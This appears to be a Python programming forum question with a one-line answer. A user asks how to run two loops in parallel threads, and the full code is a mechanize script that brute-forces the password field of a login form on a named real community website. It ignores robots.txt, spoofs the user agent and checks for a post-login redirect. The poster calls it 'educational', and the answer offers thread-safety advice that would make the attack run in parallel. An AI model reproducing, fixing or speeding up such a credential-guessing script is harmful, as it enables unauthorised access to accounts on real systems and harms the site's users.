I have made 2 functions in Python that have loop command. For making process faster, i wanted to multithread them.
For example:
def loop1():
while 1 < 2:
print "something"
def loop2():
while 5 > 4:
print "something1"
How can i run both of those, so it can loop something like this this:
something
something1
something
something1
I have tried this:
import threading
from threading import Thread
def loop1():
print "Something"
def loop2():
print "Something1"
if __name__ == '__main__':
Thread(target = loop1).start()
Thread(target = loop2).start()
But it gave me HTML error and just started running loop1.
Full Code:
import mechanize
import itertools
import string
import threading
from threading import Thread
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
response = br.open("http://arkhamnetwork.org/community/login/")
br.addheaders = [("User-agent","Mozilla/5.0")]
def loop1():
br.open("http://arkhamnetwork.org/community/login")
start = 1
end = 2
for length in range(start, end+1):
for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length):
br.select_form(nr=4)
br.set_all_readonly(False)
br.form['password'] = ''.join(c)
print "test",br.form['password']
br.method = "POST"
response = br.submit()
if response.geturl()=="http://arkhamnetwork.org/community/":
print "test ",''.join(x)
break
def loop2():
br.open("http://arkhamnetwork.org/community/login")
start1 = 2
end1 = 3
for length in range(start1, end1+1):
for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length):
br.select_form(nr=4)
br.set_all_readonly(False)
br.form['password'] = ''.join(c)
print "test",br.form['password']
br.method = "POST"
response = br.submit()
if response.geturl()=="http://arkhamnetwork.org/community/":
print "test",''.join(x)
break
if __name__ == '__main__':
Thread(target = loop1).start()
Thread(target = loop2).start() # NOTE: i'm not trying to attack anyone or any site with this, I'm just testing out code for educational purposes.
The Error it gave me:
[test] Trying a
Exception in thread Thread-2:
Traceback (most recent call last):
File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/threading.py", line 810, in __bootstrap_inner
self.run()
File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "just.py", line 39, in loop2
br.select_form(nr=4)
File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py", line 506, in select_form
for form in self.forms():
File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py", line 418, in forms
if not self.viewing_html():
File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_mechanize.py", line 443, in viewing_html
raise BrowserStateError("not viewing any document")
BrowserStateError: not viewing any document
and it kept looping 1.
bris shared and maybe it is not thread-safe, try creating one in each function (thread).